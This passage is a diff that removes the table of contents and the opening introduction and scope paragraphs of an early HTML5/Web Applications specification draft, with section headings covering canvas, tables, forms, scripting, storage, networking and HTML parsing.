-           <li><a href="#shadows"><span class=secno>3.14.6.1.6. </span><dfn
-            id=shadows0>Shadows</dfn></a>
-
-           <li><a href="#simple"><span class=secno>3.14.6.1.7. </span>Simple
-            shapes (rectangles)</a>
-
-           <li><a href="#complex"><span class=secno>3.14.6.1.8.
-            </span>Complex shapes (paths)</a>
-
-           <li><a href="#images"><span class=secno>3.14.6.1.9.
-            </span>Images</a>
-
-           <li><a href="#pixel"><span class=secno>3.14.6.1.10. </span><dfn
-            id=pixel0>Pixel manipulation</dfn></a>
-
-           <li><a href="#drawing"><span class=secno>3.14.6.1.11.
-            </span>Drawing model</a>
-          </ul>
-        </ul>
-
-       <li><a href="#the-map"><span class=secno>3.14.7. </span>The <dfn
-        id=map><code>map</code></dfn> element</a>
-
-       <li><a href="#the-area"><span class=secno>3.14.8. </span>The <dfn
-        id=area><code>area</code></dfn> element</a>
-
-       <li><a href="#the-figure"><span class=secno>3.14.9. </span>The <dfn
-        id=figure><code>figure</code></dfn> element</a>
-      </ul>
-
-     <li><a href="#tabular"><span class=secno>3.15. </span>Tabular data</a>
-      <ul class=toc>
-       <li><a href="#the-table"><span class=secno>3.15.1. </span>The <dfn
-        id=table><code>table</code></dfn> element</a>
-
-       <li><a href="#the-caption"><span class=secno>3.15.2. </span>The <dfn
-        id=caption><code>caption</code></dfn> element</a>
-
-       <li><a href="#the-colgroup"><span class=secno>3.15.3. </span>The <dfn
-        id=colgroup><code>colgroup</code></dfn> element</a>
-
-       <li><a href="#the-col"><span class=secno>3.15.4. </span>The <dfn
-        id=col><code>col</code></dfn> element</a>
-
-       <li><a href="#the-tbody"><span class=secno>3.15.5. </span>The <dfn
-        id=tbody><code>tbody</code></dfn> element</a>
-
-       <li><a href="#the-thead"><span class=secno>3.15.6. </span>The <dfn
-        id=thead><code>thead</code></dfn> element</a>
-
-       <li><a href="#the-tfoot"><span class=secno>3.15.7. </span>The <dfn
-        id=tfoot><code>tfoot</code></dfn> element</a>
-
-       <li><a href="#the-tr"><span class=secno>3.15.8. </span>The <dfn
-        id=tr><code>tr</code></dfn> element</a>
-
-       <li><a href="#the-td"><span class=secno>3.15.9. </span>The <dfn
-        id=td><code>td</code></dfn> element</a>
-
-       <li><a href="#the-th"><span class=secno>3.15.10. </span>The <dfn
-        id=th><code>th</code></dfn> element</a>
-
-       <li><a href="#processing"><span class=secno>3.15.11. </span>Processing
-        model</a>
-        <ul class=toc>
-         <li><a href="#forming"><span class=secno>3.15.11.1. </span>Forming a
-          table</a>
-
-         <li><a href="#header-and-data-cell-semantics"><span
-          class=secno>3.15.11.2. </span>Forming relationships between data
-          cells and header cells</a>
-        </ul>
-      </ul>
-
-     <li><a href="#forms"><span class=secno>3.16. </span>Forms</a>
-      <ul class=toc>
-       <li><a href="#the-form"><span class=secno>3.16.1. </span>The
-        <code>form</code> element</a>
-
-       <li><a href="#the-fieldset"><span class=secno>3.16.2. </span>The
-        <code>fieldset</code> element</a>
-
-       <li><a href="#the-input"><span class=secno>3.16.3. </span>The
-        <code>input</code> element</a>
-
-       <li><a href="#the-button"><span class=secno>3.16.4. </span>The
-        <code>button</code> element</a>
-
-       <li><a href="#the-label"><span class=secno>3.16.5. </span>The
-        <code>label</code> element</a>
-
-       <li><a href="#the-select"><span class=secno>3.16.6. </span>The
-        <code>select</code> element</a>
-
-       <li><a href="#the-datalist"><span class=secno>3.16.7. </span>The
-        <code>datalist</code> element</a>
-
-       <li><a href="#the-optgroup"><span class=secno>3.16.8. </span>The
-        <code>optgroup</code> element</a>
-
-       <li><a href="#the-option"><span class=secno>3.16.9. </span>The
-        <code>option</code> element</a>
-
-       <li><a href="#the-textarea"><span class=secno>3.16.10. </span>The
-        <code>textarea</code> element</a>
-
-       <li><a href="#the-output"><span class=secno>3.16.11. </span>The
-        <code>output</code> element</a>
-
-       <li><a href="#processing0"><span class=secno>3.16.12.
-        </span>Processing model</a>
-        <ul class=toc>
-         <li><a href="#form-submission"><span class=secno>3.16.12.1.
-          </span>Form submission</a>
-        </ul>
-      </ul>
-
-     <li><a href="#scripting"><span class=secno>3.17. </span>Scripting</a>
-      <ul class=toc>
-       <li><a href="#script"><span class=secno>3.17.1. </span>The <dfn
-        id=script1><code>script</code></dfn> element</a>
-        <ul class=toc>
-         <li><a href="#script0"><span class=secno>3.17.1.1. </span>Script
-          languages</a>
-        </ul>
-
-       <li><a href="#the-noscript"><span class=secno>3.17.2. </span>The <dfn
-        id=noscript><code>noscript</code></dfn> element</a>
-      </ul>
-
-     <li><a href="#interactive1"><span class=secno>3.18. </span>Interactive
-      elements</a>
-      <ul class=toc>
-       <li><a href="#the-details"><span class=secno>3.18.1. </span>The <dfn
-        id=details><code>details</code></dfn> element</a>
-
-       <li><a href="#datagrid"><span class=secno>3.18.2. </span>The <dfn
-        id=datagrid0><code>datagrid</code></dfn> element</a>
-        <ul class=toc>
-         <li><a href="#the-datagrid"><span class=secno>3.18.2.1. </span>The
-          <code>datagrid</code> data model</a>
-
-         <li><a href="#how-rows"><span class=secno>3.18.2.2. </span>How rows
-          are identified</a>
-
-         <li><a href="#the-data"><span class=secno>3.18.2.3. </span>The data
-          provider interface</a>
-
-         <li><a href="#the-default"><span class=secno>3.18.2.4. </span>The
-          default data provider</a>
-          <ul class=toc>
-           <li><a href="#commonDefaultDataGridMethodDefinitions"><span
-            class=secno>3.18.2.4.1. </span>Common default data provider
-            method definitions for cells</a>
-          </ul>
-
-         <li><a href="#populating"><span class=secno>3.18.2.5.
-          </span>Populating the <code>datagrid</code> element</a>
-
-         <li><a href="#updating"><span class=secno>3.18.2.6. </span>Updating
-          the <code>datagrid</code></a>
-
-         <li><a href="#requirements"><span class=secno>3.18.2.7.
-          </span>Requirements for interactive user agents</a>
-
-         <li><a href="#the-selection"><span class=secno>3.18.2.8. </span>The
-          selection</a>
-
-         <li><a href="#columns"><span class=secno>3.18.2.9. </span>Columns
-          and captions</a>
-        </ul>
-
-       <li><a href="#the-command"><span class=secno>3.18.3. </span>The <dfn
-        id=command><code>command</code></dfn> element</a>
-
-       <li><a href="#the-menu"><span class=secno>3.18.4. </span>The <dfn
-        id=menu><code>menu</code></dfn> element</a>
-      </ul>
-
-     <li><a href="#miscellaneous"><span class=secno>3.19.
-      </span>Miscellaneous elements</a>
-      <ul class=toc>
-       <li><a href="#the-legend"><span class=secno>3.19.1. </span>The <dfn
-        id=legend><code>legend</code></dfn> element</a>
-
-       <li><a href="#the-div"><span class=secno>3.19.2. </span>The <dfn
-        id=div><code>div</code></dfn> element</a>
-      </ul>
-    </ul>
-
-   <li><a href="#processing-models"><span class=secno>4. </span>Processing
-    models</a>
-    <ul class=toc>
-     <li><a href="#navigating"><span class=secno>4.1. </span>Navigating
-      across documents</a>
-      <ul class=toc>
-       <li><a href="#determining0"><span class=secno>4.1.1.
-        </span>Determining the type of a new resource in a browsing
-        context</a>
-
-       <li><a href="#read-html"><span class=secno>4.1.2. </span>Page load
-        processing model for HTML files</a>
-
-       <li><a href="#read-xml"><span class=secno>4.1.3. </span>Page load
-        processing model for XML files</a>
-
-       <li><a href="#read-text"><span class=secno>4.1.4. </span>Page load
-        processing model for text files</a>
-
-       <li><a href="#read-feed"><span class=secno>4.1.5. </span>Page load
-        processing model for syndication feeds</a>
-
-       <li><a href="#content-type"><span class=secno>4.1.6. </span><dfn
-        id=content-type0>Content-Type</dfn></a>
-      </ul>
-
-     <li><a href="#scripting"><span class=secno>4.2. </span>Scripting</a>
-      <ul class=toc>
-       <li><a href="#running"><span class=secno>4.2.1. </span>Running
-        executable code</a>
-
-       <li><a href="#scripting0"><span class=secno>4.2.2. </span>Scripting
-        contexts</a>
-
-       <li><a href="#threads"><span class=secno>4.2.3. </span>Threads</a>
-
-       <li><a href="#scripting-security"><span class=secno>4.2.4. </span>The
-        security model</a>
-
-       <li><a href="#javascript"><span class=secno>4.2.5.
-        </span><code>javascript:</code> URIs</a>
-
-       <li><a href="#runtime-script-errors"><span class=secno>4.2.6.
-        </span>Runtime script errors</a>
-
-       <li><a href="#events"><span class=secno>4.2.7. </span>Events</a>
-        <ul class=toc>
-         <li><a href="#event-handler-attributes"><span class=secno>4.2.7.1.
-          </span>Event handler attributes</a>
-
-         <li><a href="#event"><span class=secno>4.2.7.2. </span>Event
-          firing</a>
-
-         <li><a href="#event-handling"><span class=secno>4.2.7.3.
-          </span>Event handling</a>
-        </ul>
-      </ul>
-
-     <li><a href="#links"><span class=secno>4.3. </span>Links</a>
-      <ul class=toc>
-       <li><a href="#hyperlink"><span class=secno>4.3.1. </span>Hyperlink
-        elements</a>
-
-       <li><a href="#following"><span class=secno>4.3.2. </span><dfn
-        id=following0>Following hyperlinks</dfn></a>
-
-       <li><a href="#linkTypes"><span class=secno>4.3.3. </span>Link
-        types</a>
-        <ul class=toc>
-         <li><a href="#link-type"><span class=secno>4.3.3.1. </span>Link type
-          "<dfn id=alternate
-          title=rel-alternate><code>alternate</code></dfn>"</a>
-
-         <li><a href="#link-type0"><span class=secno>4.3.3.2. </span>Link
-          type "<dfn id=archives
-          title=rel-archives><code>archives</code></dfn>"</a>
-
-         <li><a href="#link-type1"><span class=secno>4.3.3.3. </span>Link
-          type "<dfn id=author
-          title=rel-author><code>author</code></dfn>"</a>
-
-         <li><a href="#link-type2"><span class=secno>4.3.3.4. </span>Link
-          type "<dfn id=bookmark
-          title=rel-bookmark><code>bookmark</code></dfn>"</a>
-
-         <li><a href="#link-type3"><span class=secno>4.3.3.5. </span>Link
-          type "<dfn id=contact
-          title=rel-contact><code>contact</code></dfn>"</a>
-
-         <li><a href="#link-type4"><span class=secno>4.3.3.6. </span>Link
-          type "<dfn id=external
-          title=rel-external><code>external</code></dfn>"</a>
-
-         <li><a href="#link-type5"><span class=secno>4.3.3.7. </span>Link
-          type "<dfn id=feed title=rel-feed><code>feed</code></dfn>"</a>
-
-         <li><a href="#link-type6"><span class=secno>4.3.3.8. </span>Link
-          type "<dfn id=help title=rel-help><code>help</code></dfn>"</a>
-
-         <li><a href="#link-type7"><span class=secno>4.3.3.9. </span>Link
-          type "<dfn id=icon title=rel-icon><code>icon</code></dfn>"</a>
-
-         <li><a href="#link-type8"><span class=secno>4.3.3.10. </span>Link
-          type "<dfn id=license
-          title=rel-license><code>license</code></dfn>"</a>
-
-         <li><a href="#link-type9"><span class=secno>4.3.3.11. </span>Link
-          type "<dfn id=nofollow
-          title=rel-nofollow><code>nofollow</code></dfn>"</a>
-
-         <li><a href="#link-type10"><span class=secno>4.3.3.12. </span>Link
-          type "<dfn id=pingback
-          title=rel-pingback><code>pingback</code></dfn>"</a>
-
-         <li><a href="#link-type11"><span class=secno>4.3.3.13. </span>Link
-          type "<dfn id=prefetch
-          title=rel-prefetch><code>prefetch</code></dfn>"</a>
-
-         <li><a href="#link-type12"><span class=secno>4.3.3.14. </span>Link
-          type "<dfn id=search0
-          title=rel-search><code>search</code></dfn>"</a>
-
-         <li><a href="#link-type13"><span class=secno>4.3.3.15. </span>Link
-          type "<dfn id=stylesheet
-          title=rel-stylesheet><code>stylesheet</code></dfn>"</a>
-
-         <li><a href="#link-type14"><span class=secno>4.3.3.16. </span>Link
-          type "<dfn id=sidebar
-          title=rel-sidebar><code>sidebar</code></dfn>"</a>
-
-         <li><a href="#link-type15"><span class=secno>4.3.3.17. </span>Link
-          type "<dfn id=tag title=rel-tag><code>tag</code></dfn>"</a>
-
-         <li><a href="#hierarchical"><span class=secno>4.3.3.18.
-          </span>Hierarchical link types</a>
-          <ul class=toc>
-           <li><a href="#link-type16"><span class=secno>4.3.3.18.1.
-            </span>Link type "<dfn id=first
-            title=rel-first><code>first</code></dfn>"</a>
-
-           <li><a href="#link-type17"><span class=secno>4.3.3.18.2.
-            </span>Link type "<dfn id=index
-            title=rel-index><code>index</code></dfn>"</a>
-
-           <li><a href="#link-type18"><span class=secno>4.3.3.18.3.
-            </span>Link type "<dfn id=last
-            title=rel-last><code>last</code></dfn>"</a>
-
-           <li><a href="#link-type19"><span class=secno>4.3.3.18.4.
-            </span>Link type "<dfn id=next
-            title=rel-next><code>next</code></dfn>"</a>
-
-           <li><a href="#link-type20"><span class=secno>4.3.3.18.5.
-            </span>Link type "<dfn id=prev
-            title=rel-prev><code>prev</code></dfn>"</a>
-
-           <li><a href="#link-type21"><span class=secno>4.3.3.18.6.
-            </span>Link type "<dfn id=up
-            title=rel-up><code>up</code></dfn>"</a>
-          </ul>
-
-         <li><a href="#other1"><span class=secno>4.3.3.19. </span>Other link
-          types</a>
-        </ul>
-
-       <li><a href="#image-maps"><span class=secno>4.3.4. </span>Image
-        maps</a>
-      </ul>
-
-     <li><a href="#commands"><span class=secno>4.4. </span>Commands</a>
-      <ul class=toc>
-       <li><a href="#using"><span class=secno>4.4.1. </span><dfn id=using4
-        title=a-command>Using the <code>a</code> element to define a
-        command</dfn></a>
-
-       <li><a href="#using0"><span class=secno>4.4.2. </span><dfn id=using5
-        title=button-command>Using the <code>button</code> element to define
-        a command</dfn></a>
-
-       <li><a href="#using1"><span class=secno>4.4.3. </span><dfn id=using6
-        title=input-command>Using the <code>input</code> element to define a
-        command</dfn></a>
-
-       <li><a href="#using2"><span class=secno>4.4.4. </span><dfn id=using7
-        title=option-command>Using the <code>option</code> element to define
-        a command</dfn></a>
-
-       <li><a href="#using3"><span class=secno>4.4.5. </span>Using the <dfn
-        id=command0 title=command-element><code>command</code></dfn> element
-        to define a command</a>
-      </ul>
-
-     <li><a href="#menus"><span class=secno>4.5. </span>Menus</a>
-      <ul class=toc>
-       <li><a href="#menus-intro"><span class=secno>4.5.1.
-        </span>Introduction</a>
-
-       <li><a href="#building"><span class=secno>4.5.2. </span><dfn
-        id=building0>Building menus</dfn></a>
-
-       <li><a href="#context"><span class=secno>4.5.3. </span><dfn
-        id=context0>Context menus</dfn></a>
-
-       <li><a href="#toolbars"><span class=secno>4.5.4. </span><dfn
-        id=toolbars0>Toolbars</dfn></a>
-      </ul>
-
-     <li><a href="#repetition-templates"><span class=secno>4.6.
-      </span>Repetition templates</a>
-    </ul>
-
-   <li><a href="#apis"><span class=secno>5. </span>The browser
-    environment</a>
-    <ul class=toc>
-     <li><a href="#the-global"><span class=secno>5.1. </span>The global
-      scope</a>
-
-     <li><a href="#history"><span class=secno>5.2. </span>Session history and
-      navigation</a>
-      <ul class=toc>
-       <li><a href="#the-session"><span class=secno>5.2.1. </span>The <dfn
-        id=session>session history</dfn> of browsing contexts</a>
-
-       <li><a href="#the-history"><span class=secno>5.2.2. </span>The
-        <code>History</code> interface</a>
-
-       <li><a href="#activating"><span class=secno>5.2.3. </span><dfn
-        id=activating0 title="activate the state object">Activating state
-        objects</dfn></a>
-
-       <li><a href="#the-location"><span class=secno>5.2.4. </span>The
-        <code>Location</code> interface</a>
-
-       <li><a href="#history-notes"><span class=secno>5.2.5.
-        </span>Implementation notes for session history</a>
-      </ul>
-
-     <li><a href="#browser"><span class=secno>5.3. </span>Browser state</a>
-      <ul class=toc>
-       <li><a href="#offline"><span class=secno>5.3.1. </span>Offline Web
-        applications</a>
-
-       <li><a href="#custom-handlers"><span class=secno>5.3.2. </span>Custom
-        protocol and content handlers</a>
-        <ul class=toc>
-         <li><a href="#security"><span class=secno>5.3.2.1. </span>Security
-          and privacy</a>
-
-         <li><a href="#sample-handler-impl"><span class=secno>5.3.2.2.
-          </span>Sample user interface</a>
-        </ul>
-      </ul>
-
-     <li><a href="#storage"><span class=secno>5.4. </span>Client-side session
-      and persistent storage</a>
-      <ul class=toc>
-       <li><a href="#introduction0"><span class=secno>5.4.1.
-        </span>Introduction</a>
-
-       <li><a href="#the-storage"><span class=secno>5.4.2. </span>The
-        <code>Storage</code> interface</a>
-
-       <li><a href="#the-storageitem"><span class=secno>5.4.3. </span>The
-        <code>StorageItem</code> interface</a>
-
-       <li><a href="#the-sessionstorage"><span class=secno>5.4.4. </span>The
-        <code title=dom-sessionStorage>sessionStorage</code> attribute</a>
-
-       <li><a href="#the-globalstorage"><span class=secno>5.4.5. </span>The
-        <code title=dom-globalStorage>globalStorage</code> attribute</a>
-
-       <li><a href="#the-storage0"><span class=secno>5.4.6. </span>The <code
-        title=event-storage>storage</code> event</a>
-
-       <li><a href="#miscellaneous0"><span class=secno>5.4.7.
-        </span>Miscellaneous implementation requirements for storage
-        areas</a>
-        <ul class=toc>
-         <li><a href="#disk-space"><span class=secno>5.4.7.1. </span>Disk
-          space</a>
-
-         <li><a href="#threads0"><span class=secno>5.4.7.2.
-          </span>Threads</a>
-        </ul>
-
-       <li><a href="#security0"><span class=secno>5.4.8. </span>Security and
-        privacy</a>
-        <ul class=toc>
-         <li><a href="#user-tracking"><span class=secno>5.4.8.1. </span>User
-          tracking</a>
-
-         <li><a href="#cookie"><span class=secno>5.4.8.2. </span>Cookie
-          resurrection</a>
-
-         <li><a href="#integrity"><span class=secno>5.4.8.3. </span>Integrity
-          of "public" storage areas</a>
-
-         <li><a href="#cross-protocol"><span class=secno>5.4.8.4.
-          </span>Cross-protocol and cross-port attacks</a>
-
-         <li><a href="#dns-spoofing"><span class=secno>5.4.8.5. </span>DNS
-          spoofing attacks</a>
-
-         <li><a href="#cross-directory"><span class=secno>5.4.8.6.
-          </span>Cross-directory attacks</a>
-
-         <li><a href="#public"><span class=secno>5.4.8.7. </span>Public
-          storage areas corresponding to hosts</a>
-
-         <li><a href="#storage0"><span class=secno>5.4.8.8. </span>Storage
-          areas in the face of untrusted higher-level domains that do not
-          correspond to public storage areas</a>
-
-         <li><a href="#storage1"><span class=secno>5.4.8.9. </span>Storage
-          areas in the face of untrusted subdomains</a>
-
-         <li><a href="#implementation"><span class=secno>5.4.8.10.
-          </span>Implementation risks</a>
-        </ul>
-      </ul>
-
-     <li><a href="#sound"><span class=secno>5.5. </span>Sound</a>
-    </ul>
-
-   <li><a href="#editing"><span class=secno>6. </span><dfn
-    id=editing0>Editing</dfn></a>
-    <ul class=toc>
-     <li><a href="#editing-intro"><span class=secno>6.1.
-      </span>Introduction</a>
-
-     <li><a href="#contenteditable"><span class=secno>6.2. </span>The <code
-      title=attr-contenteditable>contenteditable</code> attribute</a>
-      <ul class=toc>
-       <li><a href="#user-editing"><span class=secno>6.2.1. </span>User
-        editing actions</a>
-
-       <li><a href="#designMode"><span class=secno>6.2.2. </span>Making
-        entire documents editable</a>
-      </ul>
-
-     <li><a href="#dnd"><span class=secno>6.3. </span><dfn id=drag-and>Drag
-      and drop</dfn></a>
-      <ul class=toc>
-       <li><a href="#the-dragevent"><span class=secno>6.3.1. </span>The
-        <code>DragEvent</code> and <code>DataTransfer</code> interfaces</a>
-
-       <li><a href="#events0"><span class=secno>6.3.2. </span>Events fired
-        during a drag-and-drop action</a>
-
-       <li><a href="#drag-and-drop"><span class=secno>6.3.3.
-        </span>Drag-and-drop processing model</a>
-        <ul class=toc>
-         <li><a href="#when-the"><span class=secno>6.3.3.1. </span>When the
-          drag-and-drop operation starts or ends in another document</a>
-
-         <li><a href="#when-the0"><span class=secno>6.3.3.2. </span>When the
-          drag-and-drop operation starts or ends in another application</a>
-        </ul>
-
-       <li><a href="#the-draggable"><span class=secno>6.3.4. </span>The <dfn
-        id=draggable title=attr-draggable><code>draggable</code></dfn>
-        attribute</a>
-
-       <li><a href="#security1"><span class=secno>6.3.5. </span>Security
-        risks in the drag-and-drop model</a>
-      </ul>
-
-     <li><a href="#undo"><span class=secno>6.4. </span><dfn
-      id=undo-history>Undo history</dfn></a>
-      <ul class=toc>
-       <li><a href="#the-undomanager"><span class=secno>6.4.1. </span>The
-        <code>UndoManager</code> interface</a>
-
-       <li><a href="#undo-moving"><span class=secno>6.4.2. </span><dfn
-        id=undo-moving0 title=do-undo>Undo: moving back in the undo
-        transaction history</dfn></a>
-
-       <li><a href="#redo-moving"><span class=secno>6.4.3. </span><dfn
-        id=redo-moving0 title=do-redo>Redo: moving forward in the undo
-        transaction history</dfn></a>
-
-       <li><a href="#the-undomanagerevent"><span class=secno>6.4.4.
-        </span>The <code>UndoManagerEvent</code> interface and the <code
-        title=event-undo>undo</code> and <code title=event-redo>redo</code>
-        events</a>
-
-       <li><a href="#implementation0"><span class=secno>6.4.5.
-        </span>Implementation notes</a>
-      </ul>
-
-     <li><a href="#execCommand"><span class=secno>6.5. </span>Command
-      APIs</a>
-
-     <li><a href="#selection"><span class=secno>6.6. </span>The text
-      selection APIs</a>
-      <ul class=toc>
-       <li><a href="#documentSelection"><span class=secno>6.6.1. </span>APIs
-        for the browsing context selection</a>
-
-       <li><a href="#textFieldSelection"><span class=secno>6.6.2. </span>APIs
-        for the text field selections</a>
-      </ul>
-    </ul>
-
-   <li><a href="#comms"><span class=secno>7. </span>Communication</a>
-    <ul class=toc>
-     <li><a href="#server-sent-events"><span class=secno>7.1.
-      </span>Server-sent DOM events</a>
-      <ul class=toc>
-       <li><a href="#the-event-source"><span class=secno>7.1.1. </span>The
-        <dfn id=event-source><code>event-source</code></dfn> element</a>
-
-       <li><a href="#the-remoteeventtarget"><span class=secno>7.1.2.
-        </span>The <dfn
-        id=remoteeventtarget><code>RemoteEventTarget</code></dfn>
-        interface</a>
-
-       <li><a href="#processing1"><span class=secno>7.1.3. </span>Processing
-        model</a>
-
-       <li><a href="#the-event"><span class=secno>7.1.4. </span>The event
-        stream format</a>
-
-       <li><a href="#event-stream-interpretation"><span class=secno>7.1.5.
-        </span>Event stream interpretation</a>
-
-       <li><a href="#the-remoteevent"><span class=secno>7.1.6. </span>The
-        <code>RemoteEvent</code> interface</a>
-
-       <li><a href="#example"><span class=secno>7.1.7. </span>Example</a>
-      </ul>
-
-     <li><a href="#network"><span class=secno>7.2. </span>Network
-      connections</a>
-      <ul class=toc>
-       <li><a href="#network-intro"><span class=secno>7.2.1.
-        </span>Introduction</a>
-
-       <li><a href="#the-connection"><span class=secno>7.2.2. </span>The
-        <code>Connection</code> interface</a>
-
-       <li><a href="#connection"><span class=secno>7.2.3. </span>Connection
-        Events</a>
-
-       <li><a href="#tcp-connections"><span class=secno>7.2.4. </span>TCP
-        connections</a>
-
-       <li><a href="#broadcast"><span class=secno>7.2.5. </span>Broadcast
-        connections</a>
-        <ul class=toc>
-         <li><a href="#broadcasting"><span class=secno>7.2.5.1.
-          </span>Broadcasting over TCP/IP</a>
-
-         <li><a href="#bluetooth-broadcast"><span class=secno>7.2.5.2.
-          </span>Broadcasting over Bluetooth</a>
-
-         <li><a href="#irda-broadcast"><span class=secno>7.2.5.3.
-          </span>Broadcasting over IrDA</a>
-        </ul>
-
-       <li><a href="#peer-to-peer"><span class=secno>7.2.6.
-        </span>Peer-to-peer connections</a>
-        <ul class=toc>
-         <li><a href="#peer-to-peer0"><span class=secno>7.2.6.1.
-          </span>Peer-to-peer connections over TCP/IP</a>
-
-         <li><a href="#bluetooth-peer"><span class=secno>7.2.6.2.
-          </span>Peer-to-peer connections over Bluetooth</a>
-
-         <li><a href="#irda-peer"><span class=secno>7.2.6.3.
-          </span>Peer-to-peer connections over IrDA</a>
-        </ul>
-
-       <li><a href="#the-common"><span class=secno>7.2.7. </span>The common
-        protocol for TCP-based connections</a>
-        <ul class=toc>
-         <li><a href="#clients"><span class=secno>7.2.7.1. </span><dfn
-          id=clients0>Clients connecting over TCP</dfn></a>
-
-         <li><a href="#servers"><span class=secno>7.2.7.2. </span><dfn
-          id=servers0>Servers accepting connections over TCP</dfn></a>
-
-         <li><a href="#sending"><span class=secno>7.2.7.3. </span><dfn
-          id=sending0>Sending and receiving data over TCP</dfn></a>
-        </ul>
-
-       <li><a href="#network-security"><span class=secno>7.2.8.
-        </span>Security</a>
-
-       <li><a href="#network-other-specs"><span class=secno>7.2.9.
-        </span>Relationship to other standards</a>
-      </ul>
-
-     <li><a href="#crossDocumentMessages"><span class=secno>7.3. </span><dfn
-      id=cross-document>Cross-document messaging</dfn></a>
-      <ul class=toc>
-       <li><a href="#processing2"><span class=secno>7.3.1. </span>Processing
-        model</a>
-
-       <li><a href="#event0"><span class=secno>7.3.2. </span>Event
-        definitions</a>
-      </ul>
-    </ul>
-
-   <li><a href="#syntax"><span class=secno>8. </span>The HTML syntax</a>
-    <ul class=toc>
-     <li><a href="#writing"><span class=secno>8.1. </span>Writing HTML
-      documents</a>
-      <ul class=toc>
-       <li><a href="#the-doctype"><span class=secno>8.1.1. </span>The
-        DOCTYPE</a>
-
-       <li><a href="#elements0"><span class=secno>8.1.2. </span>Elements</a>
-        <ul class=toc>
-         <li><a href="#start"><span class=secno>8.1.2.1. </span>Start
-          tags</a>
-
-         <li><a href="#end-tags"><span class=secno>8.1.2.2. </span>End
-          tags</a>
-
-         <li><a href="#attributes0"><span class=secno>8.1.2.3.
-          </span>Attributes</a>
-
-         <li><a href="#optional"><span class=secno>8.1.2.4. </span>Optional
-          tags</a>
-
-         <li><a href="#restrictions"><span class=secno>8.1.2.5.
-          </span>Restrictions on content models</a>
-        </ul>
-
-       <li><a href="#text"><span class=secno>8.1.3. </span>Text</a>
-        <ul class=toc>
-         <li><a href="#newlines"><span class=secno>8.1.3.1.
-          </span>Newlines</a>
-        </ul>
-
-       <li><a href="#character"><span class=secno>8.1.4. </span>Character
-        entity references</a>
-
-       <li><a href="#comments"><span class=secno>8.1.5. </span>Comments</a>
-      </ul>
-
-     <li><a href="#parsing"><span class=secno>8.2. </span>Parsing HTML
-      documents</a>
-      <ul class=toc>
-       <li><a href="#overview"><span class=secno>8.2.1. </span>Overview of
-        the parsing model</a>
-
-       <li><a href="#the-input0"><span class=secno>8.2.2. </span>The <dfn
-        id=input>input stream</dfn></a>
-
-       <li><a href="#tokenisation"><span class=secno>8.2.3. </span><dfn
-        id=tokenisation0>Tokenisation</dfn></a>
-        <ul class=toc>
-         <li><a href="#tokenising"><span class=secno>8.2.3.1.
-          </span>Tokenising entities</a>
-        </ul>
-
-       <li><a href="#tree-construction"><span class=secno>8.2.4. </span><dfn
-        id=tree-construction0>Tree construction</dfn></a>
-        <ul class=toc>
-         <li><a href="#the-initial"><span class=secno>8.2.4.1. </span><dfn
-          id=the-initial0>The initial phase</dfn></a>
-
-         <li><a href="#the-root0"><span class=secno>8.2.4.2. </span><dfn
-          id=the-root1>The root element phase</dfn></a>
-
-         <li><a href="#the-main"><span class=secno>8.2.4.3. </span><dfn
-          id=the-main0>The main phase</dfn></a>
-          <ul class=toc>
-           <li><a href="#the-stack"><span class=secno>8.2.4.3.1. </span>The
-            stack of open elements</a>
-
-           <li><a href="#the-list"><span class=secno>8.2.4.3.2. </span>The
-            list of active formatting elements</a>
-
-           <li><a href="#creating"><span class=secno>8.2.4.3.3.
-            </span>Creating and inserting HTML elements</a>
-
-           <li><a href="#closing"><span class=secno>8.2.4.3.4. </span>Closing
-            elements that have implied end tags</a>
-
-           <li><a href="#the-element"><span class=secno>8.2.4.3.5. </span>The
-            element pointers</a>
-
-           <li><a href="#the-insertion"><span class=secno>8.2.4.3.6.
-            </span>The insertion mode</a>
-
-           <li><a href="#how-to0"><span class=secno>8.2.4.3.7. </span>How to
-            handle tokens in the main phase</a>
-          </ul>
-
-         <li><a href="#the-trailing"><span class=secno>8.2.4.4. </span><dfn
-          id=the-trailing0>The trailing end phase</dfn></a>
-        </ul>
-      </ul>
-
-     <li><a href="#namespaces"><span class=secno>8.3. </span>Namespaces</a>
-
-     <li><a href="#entities"><span class=secno>8.4. </span><dfn
-      id=entities0>Entities</dfn></a>
-    </ul>
-
-   <li><a href="#rendering"><span class=secno>9. </span>Rendering</a>
-    <ul class=toc>
-     <li><a href="#rendering0"><span class=secno>9.1. </span>Rendering and
-      the DOM</a>
-    </ul>
-
-   <li><a href="#no"><span class=secno>10. </span>Things that you can't do
-    with this specification because they are better handled using other
-    technologies that are further described herein</a>
-    <ul class=toc>
-     <li><a href="#localisation"><span class=secno>10.1.
-      </span>Localisation</a>
-
-     <li><a href="#declarative"><span class=secno>10.2. </span>Declarative 2D
-      vector graphics and animation</a>
-
-     <li><a href="#declarative0"><span class=secno>10.3. </span>Declarative
-      3D scenes</a>
-
-     <li><a href="#alternate-style-sheets"><span class=secno>10.4.
-      </span>Alternate style sheets: the <code>DocumentStyle</code>
-      interface</a>
-      <ul class=toc>
-       <li><a href="#dynamically"><span class=secno>10.4.1.
-        </span>Dynamically adding new style sheets</a>
-        <ul class=toc>
-         <li><a href="#adding"><span class=secno>10.4.1.1. </span>Adding
-          style sheets</a>
-
-         <li><a href="#changing"><span class=secno>10.4.1.2. </span>Changing
-          the preferred style sheet set</a>
-
-         <li><a href="#examples"><span class=secno>10.4.1.3. </span>
-          Examples</a>
-        </ul>
-
-       <li><a href="#interaction0"><span class=secno>10.4.2.
-        </span>Interaction with the User Interface</a>
-        <ul class=toc>
-         <li><a href="#persisting"><span class=secno>10.4.2.1.
-          </span>Persisting the selected style sheet set</a>
-        </ul>
-
-       <li><a href="#future"><span class=secno>10.4.3. </span>Future
-        compatibility</a>
-      </ul>
-
-     <li><a href="#timers"><span class=secno>10.5. </span>Timers</a>
-    </ul>
-
-   <li class=no-num><a href="#references">References</a>
-
-   <li class=no-num><a href="#acknowledgements">Acknowledgements</a>
-  </ul>
-  <!--end-toc-->
-
-  <hr>
-
-  <h2 id=introduction><span class=secno>1. </span>Introduction</h2>
-
-  <p><em>This section is non-normative.</em>
-
-  <p>The World Wide Web's markup language has always been HTML. HTML was
-   primarily designed as a language for semantically describing scientific
-   documents, although its general design and adaptations over the years has
-   enabled it to be used to describe a number of other types of documents.
-
-  <p>The main area that has not been adequately addressed by HTML is a vague
-   subject referred to as Web Applications. This specification attempts to
-   rectify this, while at the same time updating the HTML specifications to
-   address issues raised in the past few years.
-
-  <h3 id=scope><span class=secno>1.1. </span>Scope</h3>
-
-  <p><em>This section is non-normative.</em>
-
-  <p>This specification is limited to providing a semantic-level markup
